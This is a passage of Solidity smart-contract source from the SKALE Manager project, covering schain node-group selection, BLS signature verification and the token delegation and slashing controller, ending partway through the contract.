uint8 space = schains[schainId].partOfNode;
nodesInGroup = new uint[](numberOfNodes);
uint[] memory possibleNodes = isEnoughNodes(schainId);
require(possibleNodes.length >= nodesInGroup.length, "Not enough nodes to create Schain");
uint ignoringTail = 0;
uint random = uint(keccak256(abi.encodePacked(uint(blockhash(block.number.sub(1))), schainId)));
for (uint i = 0; i < nodesInGroup.length; ++i) {
uint index = random % (possibleNodes.length.sub(ignoringTail));
uint node = possibleNodes[index];
nodesInGroup[i] = node;
_swap(possibleNodes, index, possibleNodes.length.sub(ignoringTail).sub(1));
++ignoringTail;
_exceptionsForGroups[schainId][node] = true;
addSchainForNode(node, schainId);
require(nodes.removeSpaceFromNode(node, space), "Could not remove space from Node");
}
// set generated group
schainsGroups[schainId] = nodesInGroup;
}
function _isCorrespond(bytes32 schainId, uint nodeIndex) private view returns (bool) {
Nodes nodes = Nodes(contractManager.getContract("Nodes"));
return !_exceptionsForGroups[schainId][nodeIndex] && nodes.isNodeActive(nodeIndex);
}
/**
* @dev Swaps one index for another in an array.
*/
function _swap(uint[] memory array, uint index1, uint index2) private pure {
uint buffer = array[index1];
array[index1] = array[index2];
array[index2] = buffer;
}
/**
* @dev Returns local index of node in schain group.
*/
function _findNode(bytes32 schainId, uint nodeIndex) private view returns (uint) {
uint[] memory nodesInGroup = schainsGroups[schainId];
uint index;
for (index = 0; index < nodesInGroup.length; index++) {
if (nodesInGroup[index] == nodeIndex) {
return index;
}
}
return index;
}
}
// SPDX-License-Identifier: AGPL-3.0-only
/*
SkaleVerifier.sol - SKALE Manager
Copyright (C) 2018-Present SKALE Labs
@author Artem Payvin
SKALE Manager is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as published
by the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
SKALE Manager is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>.
*/
pragma solidity 0.6.10;
pragma experimental ABIEncoderV2;
import "./Permissions.sol";
import "./SchainsInternal.sol";
import "./utils/Precompiled.sol";
import "./utils/FieldOperations.sol";
/**
* @title SkaleVerifier
* @dev Contains verify function to perform BLS signature verification.
*/
contract SkaleVerifier is Permissions {
using Fp2Operations for Fp2Operations.Fp2Point;
/**
* @dev Verifies a BLS signature.
*
* Requirements:
*
* - Signature is in G1.
* - Hash is in G1.
* - G2.one in G2.
* - Public Key in G2.
*/
function verify(
Fp2Operations.Fp2Point calldata signature,
bytes32 hash,
uint counter,
uint hashA,
uint hashB,
G2Operations.G2Point calldata publicKey
)
external
view
returns (bool)
{
require(G1Operations.checkRange(signature), "Signature is not valid");
if (!_checkHashToGroupWithHelper(
hash,
counter,
hashA,
hashB
)
)
{
return false;
}
uint newSignB = G1Operations.negate(signature.b);
require(G1Operations.isG1Point(signature.a, newSignB), "Sign not in G1");
require(G1Operations.isG1Point(hashA, hashB), "Hash not in G1");
G2Operations.G2Point memory g2 = G2Operations.getG2Generator();
require(
G2Operations.isG2(publicKey),
"Public Key not in G2"
);
return Precompiled.bn256Pairing(
signature.a, newSignB,
g2.x.b, g2.x.a, g2.y.b, g2.y.a,
hashA, hashB,
publicKey.x.b, publicKey.x.a, publicKey.y.b, publicKey.y.a
);
}
function initialize(address newContractsAddress) public override initializer {
Permissions.initialize(newContractsAddress);
}
function _checkHashToGroupWithHelper(
bytes32 hash,
uint counter,
uint hashA,
uint hashB
)
private
pure
returns (bool)
{
if (counter > 100) {
return false;
}
uint xCoord = uint(hash) % Fp2Operations.P;
xCoord = (xCoord.add(counter)) % Fp2Operations.P;
uint ySquared = addmod(
mulmod(mulmod(xCoord, xCoord, Fp2Operations.P), xCoord, Fp2Operations.P),
3,
Fp2Operations.P
);
if (hashB < Fp2Operations.P.div(2) || mulmod(hashB, hashB, Fp2Operations.P) != ySquared || xCoord != hashA) {
return false;
}
return true;
}
}
// SPDX-License-Identifier: AGPL-3.0-only
/*
DelegationController.sol - SKALE Manager
Copyright (C) 2018-Present SKALE Labs
@author Dmytro Stebaiev
@author Vadim Yavorsky
SKALE Manager is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as published
by the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
SKALE Manager is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>.
*/
pragma solidity 0.6.10;
pragma experimental ABIEncoderV2;
import "@openzeppelin/contracts-ethereum-package/contracts/token/ERC777/IERC777.sol";
import "../BountyV2.sol";
import "../Nodes.sol";
import "../Permissions.sol";
import "../utils/FractionUtils.sol";
import "../utils/MathUtils.sol";
import "./DelegationPeriodManager.sol";
import "./PartialDifferences.sol";
import "./Punisher.sol";
import "./TokenLaunchLocker.sol";
import "./TokenState.sol";
import "./ValidatorService.sol";
/**
* @title Delegation Controller
* @dev This contract performs all delegation functions including delegation
* requests, and undelegation, etc.
*
* Delegators and validators may both perform delegations. Validators who perform
* delegations to themselves are effectively self-delegating or self-bonding.
*
* IMPORTANT: Undelegation may be requested at any time, but undelegation is only
* performed at the completion of the current delegation period.
*
* Delegated tokens may be in one of several states:
*
* - PROPOSED: token holder proposes tokens to delegate to a validator.
* - ACCEPTED: token delegations are accepted by a validator and are locked-by-delegation.
* - CANCELED: token holder cancels delegation proposal. Only allowed before the proposal is accepted by the validator.
* - REJECTED: token proposal expires at the UTC start of the next month.
* - DELEGATED: accepted delegations are delegated at the UTC start of the month.
* - UNDELEGATION_REQUESTED: token holder requests delegations to undelegate from the validator.
* - COMPLETED: undelegation request is completed at the end of the delegation period.
*/
contract DelegationController is Permissions, ILocker {
using MathUtils for uint;
using PartialDifferences for PartialDifferences.Sequence;
using PartialDifferences for PartialDifferences.Value;
using FractionUtils for FractionUtils.Fraction;
uint public constant UNDELEGATION_PROHIBITION_WINDOW_SECONDS = 3 * 24 * 60 * 60;
enum State {
PROPOSED,
ACCEPTED,
CANCELED,
REJECTED,
DELEGATED,
UNDELEGATION_REQUESTED,
COMPLETED
}
struct Delegation {
address holder; // address of token owner
uint validatorId;
uint amount;
uint delegationPeriod;
uint created; // time of delegation creation
uint started; // month when a delegation becomes active
uint finished; // first month after a delegation ends
string info;
}
struct SlashingLogEvent {
FractionUtils.Fraction reducingCoefficient;
uint nextMonth;
}
struct SlashingLog {
// month => slashing event
mapping (uint => SlashingLogEvent) slashes;
uint firstMonth;
uint lastMonth;
}
struct DelegationExtras {
uint lastSlashingMonthBeforeDelegation;
}
struct SlashingEvent {
FractionUtils.Fraction reducingCoefficient;
uint validatorId;
uint month;
}
struct SlashingSignal {
address holder;
uint penalty;
}
struct LockedInPending {
uint amount;
uint month;
}
struct FirstDelegationMonth {
// month
uint value;
//validatorId => month
mapping (uint => uint) byValidator;
}
struct ValidatorsStatistics {
// number of validators
uint number;
//validatorId => bool - is Delegated or not
mapping (uint => uint) delegated;
}
/**
* @dev Emitted when a delegation is proposed to a validator.
*/
event DelegationProposed(
uint delegationId
);
/**
* @dev Emitted when a delegation is accepted by a validator.
*/
event DelegationAccepted(
uint delegationId
);
/**
* @dev Emitted when a delegation is cancelled by the delegator.
*/
event DelegationRequestCanceledByUser(
uint delegationId
);
/**
* @dev Emitted when a delegation is requested to undelegate.
*/
event UndelegationRequested(
uint delegationId
);
/// @dev delegations will never be deleted to index in this array may be used like delegation id
Delegation[] public delegations;
// validatorId => delegationId[]
mapping (uint => uint[]) public delegationsByValidator;
// holder => delegationId[]
mapping (address => uint[]) public delegationsByHolder;
// delegationId => extras
mapping(uint => DelegationExtras) private _delegationExtras;
// validatorId => sequence
mapping (uint => PartialDifferences.Value) private _delegatedToValidator;
// validatorId => sequence
mapping (uint => PartialDifferences.Sequence) private _effectiveDelegatedToValidator;
// validatorId => slashing log
mapping (uint => SlashingLog) private _slashesOfValidator;
// holder => sequence
mapping (address => PartialDifferences.Value) private _delegatedByHolder;
// holder => validatorId => sequence
mapping (address => mapping (uint => PartialDifferences.Value)) private _delegatedByHolderToValidator;
// holder => validatorId => sequence
mapping (address => mapping (uint => PartialDifferences.Sequence)) private _effectiveDelegatedByHolderToValidator;
SlashingEvent[] private _slashes;
// holder => index in _slashes;
mapping (address => uint) private _firstUnprocessedSlashByHolder;
// holder => validatorId => month
mapping (address => FirstDelegationMonth) private _firstDelegationMonth;
// holder => locked in pending
mapping (address => LockedInPending) private _lockedInPendingDelegations;
mapping (address => ValidatorsStatistics) private _numberOfValidatorsPerDelegator;
/**
* @dev Modifier to make a function callable only if delegation exists.
*/
modifier checkDelegationExists(uint delegationId) {
require(delegationId < delegations.length, "Delegation does not exist");
_;
}
/**
* @dev Update and return a validator's delegations.
*/
function getAndUpdateDelegatedToValidatorNow(uint validatorId) external returns (uint) {
return _getAndUpdateDelegatedToValidator(validatorId, _getCurrentMonth());
}
/**
* @dev Update and return the amount delegated.
*/
function getAndUpdateDelegatedAmount(address holder) external returns (uint) {
return _getAndUpdateDelegatedByHolder(holder);
}
/**
* @dev Update and return the effective amount delegated (minus slash) for
* the given month.
*/
function getAndUpdateEffectiveDelegatedByHolderToValidator(address holder, uint validatorId, uint month) external
allow("Distributor") returns (uint effectiveDelegated)
{
SlashingSignal[] memory slashingSignals = _processAllSlashesWithoutSignals(holder);
effectiveDelegated = _effectiveDelegatedByHolderToValidator[holder][validatorId]
.getAndUpdateValueInSequence(month);
_sendSlashingSignals(slashingSignals);
}
/**
* @dev Allows a token holder to create a delegation proposal of an `amount`
* and `delegationPeriod` to a `validatorId`. Delegation must be accepted
* by the validator before the UTC start of the month, otherwise the
* delegation will be rejected.
*
* The token holder may add additional information in each proposal.
*
* Emits a {DelegationProposed} event.
*
* Requirements:
*
* - Holder must have sufficient delegatable tokens.
* - Delegation must be above the validator's minimum delegation amount.
* - Delegation period must be allowed.
* - Validator must be authorized if trusted list is enabled.
* - Validator must be accepting new delegation requests.
*/
function delegate(
uint validatorId,
uint amount,
uint delegationPeriod,
string calldata info
)
external
{
require(
_getDelegationPeriodManager().isDelegationPeriodAllowed(delegationPeriod),
"This delegation period is not allowed");
_getValidatorService().checkValidatorCanReceiveDelegation(validatorId, amount);
_checkIfDelegationIsAllowed(msg.sender, validatorId);
SlashingSignal[] memory slashingSignals = _processAllSlashesWithoutSignals(msg.sender);
uint delegationId = _addDelegation(
msg.sender,
validatorId,
amount,
delegationPeriod,
info);
// check that there is enough money
uint holderBalance = IERC777(contractManager.getSkaleToken()).balanceOf(msg.sender);
uint forbiddenForDelegation = TokenState(contractManager.getTokenState())
.getAndUpdateForbiddenForDelegationAmount(msg.sender);
require(holderBalance >= forbiddenForDelegation, "Token holder does not have enough tokens to delegate");
emit DelegationProposed(delegationId);
_sendSlashingSignals(slashingSignals);
}
/**
* @dev See {ILocker-getAndUpdateLockedAmount}.
*/
function getAndUpdateLockedAmount(address wallet) external override returns (uint) {
return _getAndUpdateLockedAmount(wallet);
}
/**
* @dev See {ILocker-getAndUpdateForbiddenForDelegationAmount}.
*/
function getAndUpdateForbiddenForDelegationAmount(address wallet) external override returns (uint) {
return _getAndUpdateLockedAmount(wallet);
}
/**
* @dev Allows token holder to cancel a delegation proposal.
*
* Emits a {DelegationRequestCanceledByUser} event.
*
* Requirements:
*
* - `msg.sender` must be the token holder of the delegation proposal.
* - Delegation state must be PROPOSED.
*/
function cancelPendingDelegation(uint delegationId) external checkDelegationExists(delegationId) {
require(msg.sender == delegations[delegationId].holder, "Only token holders can cancel delegation request");
require(getState(delegationId) == State.PROPOSED, "Token holders are only able to cancel PROPOSED delegations");
delegations[delegationId].finished = _getCurrentMonth();
_subtractFromLockedInPendingDelegations(delegations[delegationId].holder, delegations[delegationId].amount);
emit DelegationRequestCanceledByUser(delegationId);
}
/**
* @dev Allows a validator to accept a proposed delegation.
* Successful acceptance of delegations transition the tokens from a
* PROPOSED state to ACCEPTED, and tokens are locked for the remainder of the
* delegation period.
*
* Emits a {DelegationAccepted} event.
*
* Requirements:
*
* - Validator must be recipient of proposal.
* - Delegation state must be PROPOSED.
*/
function acceptPendingDelegation(uint delegationId) external checkDelegationExists(delegationId) {
require(
_getValidatorService().checkValidatorAddressToId(msg.sender, delegations[delegationId].validatorId),
"No permissions to accept request");
_accept(delegationId);
}
/**
* @dev Allows delegator to undelegate a specific delegation.
*
* Emits UndelegationRequested event.
*
* Requirements:
*
* - `msg.sender` must be the delegator.
* - Delegation state must be DELEGATED.
*/
function requestUndelegation(uint delegationId) external checkDelegationExists(delegationId) {
require(getState(delegationId) == State.DELEGATED, "Cannot request undelegation");
ValidatorService validatorService = _getValidatorService();
require(
delegations[delegationId].holder == msg.sender ||
(validatorService.validatorAddressExists(msg.sender) &&
delegations[delegationId].validatorId == validatorService.getValidatorId(msg.sender)),
"Permission denied to request undelegation");
_removeValidatorFromValidatorsPerDelegators(
delegations[delegationId].holder,
delegations[delegationId].validatorId);
processAllSlashes(msg.sender);
delegations[delegationId].finished = _calculateDelegationEndMonth(delegationId);
require(
now.add(UNDELEGATION_PROHIBITION_WINDOW_SECONDS)
< _getTimeHelpers().monthToTimestamp(delegations[delegationId].finished),
"Undelegation requests must be sent 3 days before the end of delegation period"
);
_subtractFromAllStatistics(delegationId);
emit UndelegationRequested(delegationId);
}
/**
* @dev Allows Punisher contract to slash an `amount` of stake from
* a validator. This slashes an amount of delegations of the validator,
* which reduces the amount that the validator has staked. This consequence
* may force the SKALE Manager to reduce the number of nodes a validator is
* operating so the validator can meet the Minimum Staking Requirement.
*
* Emits a {SlashingEvent}.
*
* See {Punisher}.
*/
function confiscate(uint validatorId, uint amount) external allow("Punisher") {
uint currentMonth = _getCurrentMonth();
FractionUtils.Fraction memory coefficient =
_delegatedToValidator[validatorId].reduceValue(amount, currentMonth);
uint initialEffectiveDelegated =
_effectiveDelegatedToValidator[validatorId].getAndUpdateValueInSequence(currentMonth);
uint[] memory initialSubtractions = new uint[](0);
if (currentMonth < _effectiveDelegatedToValidator[validatorId].lastChangedMonth) {
initialSubtractions = new uint[](
_effectiveDelegatedToValidator[validatorId].lastChangedMonth.sub(currentMonth)
);
for (uint i = 0; i < initialSubtractions.length; ++i) {
initialSubtractions[i] = _effectiveDelegatedToValidator[validatorId]
.subtractDiff[currentMonth.add(i).add(1)];
}
}
_effectiveDelegatedToValidator[validatorId].reduceSequence(coefficient, currentMonth);
_putToSlashingLog(_slashesOfValidator[validatorId], coefficient, currentMonth);
_slashes.push(SlashingEvent({reducingCoefficient: coefficient, validatorId: validatorId, month: currentMonth}));
BountyV2 bounty = _getBounty();
bounty.handleDelegationRemoving(
initialEffectiveDelegated.sub(
_effectiveDelegatedToValidator[validatorId].getAndUpdateValueInSequence(currentMonth)
),
currentMonth
);
for (uint i = 0; i < initialSubtractions.length; ++i) {
bounty.handleDelegationAdd(
initialSubtractions[i].sub(
_effectiveDelegatedToValidator[validatorId].subtractDiff[currentMonth.add(i).add(1)]
),
currentMonth.add(i).add(1)
);
}
}
/**
* @dev Allows Distributor contract to return and update the effective
* amount delegated (minus slash) to a validator for a given month.
*/
function getAndUpdateEffectiveDelegatedToValidator(uint validatorId, uint month)
external allowTwo("Bounty", "Distributor") returns (uint)
{
return _effectiveDelegatedToValidator[validatorId].getAndUpdateValueInSequence(month);
}
/**
* @dev Return and update the amount delegated to a validator for the
* current month.
*/
function getAndUpdateDelegatedByHolderToValidatorNow(address holder, uint validatorId) external returns (uint) {
return _getAndUpdateDelegatedByHolderToValidator(holder, validatorId, _getCurrentMonth());
}
function getEffectiveDelegatedValuesByValidator(uint validatorId) external view returns (uint[] memory) {
return _effectiveDelegatedToValidator[validatorId].getValuesInSequence();
}
function getEffectiveDelegatedToValidator(uint validatorId, uint month) external view returns (uint) {
return _effectiveDelegatedToValidator[validatorId].getValueInSequence(month);
}
function getDelegatedToValidator(uint validatorId, uint month) external view returns (uint) {
return _delegatedToValidator[validatorId].getValue(month);
}
/**
* @dev Return Delegation struct.
*/
function getDelegation(uint delegationId)
external view checkDelegationExists(delegationId) returns (Delegation memory)
{
return delegations[delegationId];
}
/**
* @dev Returns the first delegation month.
*/
function getFirstDelegationMonth(address holder, uint validatorId) external view returns(uint) {
return _firstDelegationMonth[holder].byValidator[validatorId];
}
/**
* @dev Returns a validator's total number of delegations.
*/
function getDelegationsByValidatorLength(uint validatorId) external view returns (uint) {
return delegationsByValidator[validatorId].length;
}
/**
* @dev Returns a holder's total number of delegations.
*/
function getDelegationsByHolderLength(address holder) external view returns (uint) {
return delegationsByHolder[holder].length;
}
function initialize(address contractsAddress) public override initializer {
Permissions.initialize(contractsAddress);
}
/**
* @dev Process slashes up to the given limit.
*/
function processSlashes(address holder, uint limit) public {
_sendSlashingSignals(_processSlashesWithoutSignals(holder, limit));
}
/**
* @dev Process all slashes.
*/
function processAllSlashes(address holder) public {
processSlashes(holder, 0);
}
/**
* @dev Returns the token state of a given delegation.
*/
function getState(uint delegationId) public view checkDelegationExists(delegationId) returns (State state) {
if (delegations[delegationId].started == 0) {
if (delegations[delegationId].finished == 0) {
if (_getCurrentMonth() == _getTimeHelpers().timestampToMonth(delegations[delegationId].created)) {
return State.PROPOSED;
} else {
return State.REJECTED;
}
} else {
return State.CANCELED;
}
} else {
if (_getCurrentMonth() < delegations[delegationId].started) {
return State.ACCEPTED;
} else {
if (delegations[delegationId].finished == 0) {
return State.DELEGATED;
} else {
if (_getCurrentMonth() < delegations[delegationId].finished) {
return State.UNDELEGATION_REQUESTED;
} else {
return State.COMPLETED;
}
}
}
}
}
/**
* @dev Returns the amount of tokens in PENDING delegation state.
*/
function getLockedInPendingDelegations(address holder) public view returns (uint) {
uint currentMonth = _getCurrentMonth();
if (_lockedInPendingDelegations[holder].month < currentMonth) {
return 0;
} else {
return _lockedInPendingDelegations[holder].amount;
}
}
/**
* @dev Checks whether there are any unprocessed slashes.
*/
function hasUnprocessedSlashes(address holder) public view returns (bool) {
return _everDelegated(holder) && _firstUnprocessedSlashByHolder[holder] < _slashes.length;
}
// private
/**
* @dev Allows Nodes contract to get and update the amount delegated
* to validator for a given month.
*/
function _getAndUpdateDelegatedToValidator(uint validatorId, uint month)
private returns (uint)
{
return _delegatedToValidator[validatorId].getAndUpdateValue(month);
}
/**
* @dev Adds a new delegation proposal.
*/
function _addDelegation(
address holder,
uint validatorId,
uint amount,
uint delegationPeriod,
string memory info
)
private
returns (uint delegationId)
{
delegationId = delegations.length;
delegations.push(Delegation(
holder,
validatorId,
amount,
delegationPeriod,
now,
0,
0,
info
));
delegationsByValidator[validatorId].push(delegationId);
delegationsByHolder[holder].push(delegationId);
_addToLockedInPendingDelegations(delegations[delegationId].holder, delegations[delegationId].amount);
}
/**
* @dev Returns the month when a delegation ends.
*/
function _calculateDelegationEndMonth(uint delegationId) private view returns (uint) {
uint currentMonth = _getCurrentMonth();
uint started = delegations[delegationId].started;
if (currentMonth < started) {
return started.add(delegations[delegationId].delegationPeriod);
} else {
uint completedPeriods = currentMonth.sub(started).div(delegations[delegationId].delegationPeriod);
return started.add(completedPeriods.add(1).mul(delegations[delegationId].delegationPeriod));
}
}
function _addToDelegatedToValidator(uint validatorId, uint amount, uint month) private {
_delegatedToValidator[validatorId].addToValue(amount, month);
}
function _addToEffectiveDelegatedToValidator(uint validatorId, uint effectiveAmount, uint month) private {
_effectiveDelegatedToValidator[validatorId].addToSequence(effectiveAmount, month);
}
function _addToDelegatedByHolder(address holder, uint amount, uint month) private {
_delegatedByHolder[holder].addToValue(amount, month);
}
function _addToDelegatedByHolderToValidator(
address holder, uint validatorId, uint amount, uint month) private
{
_delegatedByHolderToValidator[holder][validatorId].addToValue(amount, month);
}
function _addValidatorToValidatorsPerDelegators(address holder, uint validatorId) private {
if (_numberOfValidatorsPerDelegator[holder].delegated[validatorId] == 0) {
_numberOfValidatorsPerDelegator[holder].number = _numberOfValidatorsPerDelegator[holder].number.add(1);
}
_numberOfValidatorsPerDelegator[holder].
delegated[validatorId] = _numberOfValidatorsPerDelegator[holder].delegated[validatorId].add(1);
}
function _removeFromDelegatedByHolder(address holder, uint amount, uint month) private {
_delegatedByHolder[holder].subtractFromValue(amount, month);
}
function _removeFromDelegatedByHolderToValidator(
address holder, uint validatorId, uint amount, uint month) private
{
_delegatedByHolderToValidator[holder][validatorId].subtractFromValue(amount, month);
}
function _removeValidatorFromValidatorsPerDelegators(address holder, uint validatorId) private {
if (_numberOfValidatorsPerDelegator[holder].delegated[validatorId] == 1) {
_numberOfValidatorsPerDelegator[holder].number = _numberOfValidatorsPerDelegator[holder].number.sub(1);
}
_numberOfValidatorsPerDelegator[holder].
delegated[validatorId] = _numberOfValidatorsPerDelegator[holder].delegated[validatorId].sub(1);
}
function _addToEffectiveDelegatedByHolderToValidator(
address holder,
uint validatorId,
uint effectiveAmount,
uint month)
private
{
_effectiveDelegatedByHolderToValidator[holder][validatorId].addToSequence(effectiveAmount, month);
}
function _removeFromEffectiveDelegatedByHolderToValidator(
address holder,
uint validatorId,
uint effectiveAmount,
uint month)
private
{
_effectiveDelegatedByHolderToValidator[holder][validatorId].subtractFromSequence(effectiveAmount, month);
}
function _getAndUpdateDelegatedByHolder(address holder) private returns (uint) {
uint currentMonth = _getCurrentMonth();
processAllSlashes(holder);
return _delegatedByHolder[holder].getAndUpdateValue(currentMonth);
}
function _getAndUpdateDelegatedByHolderToValidator(
address holder,
uint validatorId,
uint month)
private returns (uint)
{
return _delegatedByHolderToValidator[holder][validatorId].getAndUpdateValue(month);
}
function _addToLockedInPendingDelegations(address holder, uint amount) private returns (uint) {
uint currentMonth = _getCurrentMonth();
if (_lockedInPendingDelegations[holder].month < currentMonth) {
_lockedInPendingDelegations[holder].amount = amount;
_lockedInPendingDelegations[holder].month = currentMonth;
} else {
assert(_lockedInPendingDelegations[holder].month == currentMonth);
_lockedInPendingDelegations[holder].amount = _lockedInPendingDelegations[holder].amount.add(amount);
}
}
function _subtractFromLockedInPendingDelegations(address holder, uint amount) private returns (uint) {
uint currentMonth = _getCurrentMonth();
assert(_lockedInPendingDelegations[holder].month == currentMonth);
_lockedInPendingDelegations[holder].amount = _lockedInPendingDelegations[holder].amount.sub(amount);
}
function _getCurrentMonth() private view returns (uint) {
return _getTimeHelpers().getCurrentMonth();
}
/**
* @dev See {ILocker-getAndUpdateLockedAmount}.
*/
function _getAndUpdateLockedAmount(address wallet) private returns (uint) {
return _getAndUpdateDelegatedByHolder(wallet).add(getLockedInPendingDelegations(wallet));
}
function _updateFirstDelegationMonth(address holder, uint validatorId, uint month) private {
if (_firstDelegationMonth[holder].value == 0) {
_firstDelegationMonth[holder].value = month;
_firstUnprocessedSlashByHolder[holder] = _slashes.length;
}
if (_firstDelegationMonth[holder].byValidator[validatorId] == 0) {
_firstDelegationMonth[holder].byValidator[validatorId] = month;
}
}
/**
* @dev Checks whether the holder has performed a delegation.
*/
function _everDelegated(address holder) private view returns (bool) {
return _firstDelegationMonth[holder].value > 0;
}
function _removeFromDelegatedToValidator(uint validatorId, uint amount, uint month) private {
_delegatedToValidator[validatorId].subtractFromValue(amount, month);
}
function _removeFromEffectiveDelegatedToValidator(uint validatorId, uint effectiveAmount, uint month) private {
_effectiveDelegatedToValidator[validatorId].subtractFromSequence(effectiveAmount, month);
}
/**
* @dev Returns the delegated amount after a slashing event.
*/
function _calculateDelegationAmountAfterSlashing(uint delegationId) private view returns (uint) {
uint startMonth = _delegationExtras[delegationId].lastSlashingMonthBeforeDelegation;
uint validatorId = delegations[delegationId].validatorId;
uint amount = delegations[delegationId].amount;
if (startMonth == 0) {
startMonth = _slashesOfValidator[validatorId].firstMonth;
if (startMonth == 0) {
return amount;
}
}
for (uint i = startMonth;
i > 0 && i < delegations[delegationId].finished;
i = _slashesOfValidator[validatorId].slashes[i].nextMonth) {
if (i >= delegations[delegationId].started) {
amount = amount
.mul(_slashesOfValidator[validatorId].slashes[i].reducingCoefficient.numerator)
.div(_slashesOfValidator[validatorId].slashes[i].reducingCoefficient.denominator);
}
}
return amount;
}
function _putToSlashingLog(
SlashingLog storage log,
FractionUtils.Fraction memory coefficient,
uint month)
private
{
if (log.firstMonth == 0) {
log.firstMonth = month;
log.lastMonth = month;
log.slashes[month].reducingCoefficient = coefficient;
log.slashes[month].nextMonth = 0;
} else {
require(log.lastMonth <= month, "Cannot put slashing event in the past");
if (log.lastMonth == month) {
log.slashes[month].reducingCoefficient =
log.slashes[month].reducingCoefficient.multiplyFraction(coefficient);
} else {
log.slashes[month].reducingCoefficient = coefficient;
log.slashes[month].nextMonth = 0;
log.slashes[log.lastMonth].nextMonth = month;
log.lastMonth = month;
}
}
}
function _processSlashesWithoutSignals(address holder, uint limit)
private returns (SlashingSignal[] memory slashingSignals)
{
if (hasUnprocessedSlashes(holder)) {
uint index = _firstUnprocessedSlashByHolder[holder];
uint end = _slashes.length;
if (limit > 0 && index.add(limit) < end) {
end = index.add(limit);
}
slashingSignals = new SlashingSignal[](end.sub(index));
uint begin = index;
for (; index < end; ++index) {
uint validatorId = _slashes[index].validatorId;
uint month = _slashes[index].month;
uint oldValue = _getAndUpdateDelegatedByHolderToValidator(holder, validatorId, month);
if (oldValue.muchGreater(0)) {
_delegatedByHolderToValidator[holder][validatorId].reduceValueByCoefficientAndUpdateSum(
_delegatedByHolder[holder],
_slashes[index].reducingCoefficient,
month);
_effectiveDelegatedByHolderToValidator[holder][validatorId].reduceSequence(
_slashes[index].reducingCoefficient,
month);
slashingSignals[index.sub(begin)].holder = holder;
slashingSignals[index.sub(begin)].penalty
= oldValue.boundedSub(_getAndUpdateDelegatedByHolderToValidator(holder, validatorId, month));
}
}
_firstUnprocessedSlashByHolder[holder] = end;
}
}
function _processAllSlashesWithoutSignals(address holder)
private returns (SlashingSignal[] memory slashingSignals)
{
return _processSlashesWithoutSignals(holder, 0);
}
function _sendSlashingSignals(SlashingSignal[] memory slashingSignals) private {
Punisher punisher = Punisher(contractManager.getPunisher());
address previousHolder = address(0);
uint accumulatedPenalty = 0;
for (uint i = 0; i < slashingSignals.length; ++i) {
if (slashingSignals[i].holder != previousHolder) {
if (accumulatedPenalty > 0) {
punisher.handleSlash(previousHolder, accumulatedPenalty);
}
previousHolder = slashingSignals[i].holder;
accumulatedPenalty = slashingSignals[i].penalty;
} else {
accumulatedPenalty = accumulatedPenalty.add(slashingSignals[i].penalty);
}
}
if (accumulatedPenalty > 0) {
punisher.handleSlash(previousHolder, accumulatedPenalty);
}
}
function _addToAllStatistics(uint delegationId) private {
uint currentMonth = _getCurrentMonth();
delegations[delegationId].started = currentMonth.add(1);
if (_slashesOfValidator[delegations[delegationId].validatorId].lastMonth > 0) {
_delegationExtras[delegationId].lastSlashingMonthBeforeDelegation =
_slashesOfValidator[delegations[delegationId].validatorId].lastMonth;
}
_addToDelegatedToValidator(
delegations[delegationId].validatorId,
delegations[delegationId].amount,
currentMonth.add(1));
_addToDelegatedByHolder(
delegations[delegationId].holder,
delegations[delegationId].amount,
currentMonth.add(1));
_addToDelegatedByHolderToValidator(
delegations[delegationId].holder,
delegations[delegationId].validatorId,
delegations[delegationId].amount,
currentMonth.add(1));
_updateFirstDelegationMonth(
delegations[delegationId].holder,
delegations[delegationId].validatorId,
currentMonth.add(1));
uint effectiveAmount = delegations[delegationId].amount.mul(
_getDelegationPeriodManager().stakeMultipliers(delegations[delegationId].delegationPeriod));
_addToEffectiveDelegatedToValidator(
delegations[delegationId].validatorId,
effectiveAmount,
currentMonth.add(1));
_addToEffectiveDelegatedByHolderToValidator(
delegations[delegationId].holder,
delegations[delegationId].validatorId,
effectiveAmount,
currentMonth.add(1));
_addValidatorToValidatorsPerDelegators(
delegations[delegationId].holder,
delegations[delegationId].validatorId
);
}
function _subtractFromAllStatistics(uint delegationId) private {
uint amountAfterSlashing = _calculateDelegationAmountAfterSlashing(delegationId);
_removeFromDelegatedToValidator(
delegations[delegationId].validatorId,
amountAfterSlashing,
delegations[delegationId].finished);
_removeFromDelegatedByHolder(
delegations[delegationId].holder,
amountAfterSlashing,
delegations[delegationId].finished);
_removeFromDelegatedByHolderToValidator(
delegations[delegationId].holder,
delegations[delegationId].validatorId,
amountAfterSlashing,
delegations[delegationId].finished);
uint effectiveAmount = amountAfterSlashing.mul(
_getDelegationPeriodManager().stakeMultipliers(delegations[delegationId].delegationPeriod));
_removeFromEffectiveDelegatedToValidator(
delegations[delegationId].validatorId,
effectiveAmount,
delegations[delegationId].finished);
_removeFromEffectiveDelegatedByHolderToValidator(
delegations[delegationId].holder,
delegations[delegationId].validatorId,
effectiveAmount,
delegations[delegationId].finished);
_getTokenLaunchLocker().handleDelegationRemoving(
delegations[delegationId].holder,
delegationId,
delegations[delegationId].finished);
_getBounty().handleDelegationRemoving(
effectiveAmount,
delegations[delegationId].finished);
}
/**
* @dev Checks whether delegation to a validator is allowed.
*
* Requirements:
*
* - Delegator must not have reached the validator limit.
* - Delegation must be made in or after the first delegation month.
*/
function _checkIfDelegationIsAllowed(address holder, uint validatorId) private view returns (bool) {
require(
_numberOfValidatorsPerDelegator[holder].delegated[validatorId] > 0 ||
(
_numberOfValidatorsPerDelegator[holder].delegated[validatorId] == 0 &&
_numberOfValidatorsPerDelegator[holder].number < _getConstantsHolder().limitValidatorsPerDelegator()
),
"Limit of validators is reached"
);
}
function _getDelegationPeriodManager() private view returns (DelegationPeriodManager) {
return DelegationPeriodManager(contractManager.getDelegationPeriodManager());
}
function _getBounty() private view returns (BountyV2) {
return BountyV2(contractManager.getBounty());
}
